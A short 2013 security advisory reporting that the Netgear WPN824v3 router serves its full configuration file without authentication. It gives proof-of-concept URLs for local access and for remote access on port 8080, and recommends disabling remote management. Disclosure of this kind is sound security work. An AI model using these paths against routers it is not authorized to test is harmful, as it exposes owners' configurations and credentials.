Netgear WPN824v3 Unauthorized Config Download

Title:
======
Netgear WPN824v3 Unauthorized Config Download

Date:
=====
2013-06-03

Introduction:
=============
The Netgear RangeMax Wireless Router (model WPN824v3) allows to download
the config file without authorization.

Status:
========
Published

Affected Products:
==================
Netgear WPN824v3

Vendor Homepage:
================
http://support.netgear.com/product/WPN824v3

Exploitation-Technique:
=======================
Local and Remote

Details:
========
I found a bug in the Netgear WPN824v3 wireless router, everyone is able
to download the full config file without authorization.
Unfortunately the config file is not htaccess protected.
Tested with latest firmware V1.0.8_1.0.6.

Proof of Concept:
=================
The vulnerability can be exploited with your browser:

http://[local-ip]/cgi-bin/NETGEAR_wpn824v3.cfg

If remote management is enabled:

http://[remote-ip]:8080/cgi-bin/NETGEAR_wpn824v3.cfg

Workaround:
=========
Disable the remote management feature!

Author:
========
Jens Regel <[email protected]>

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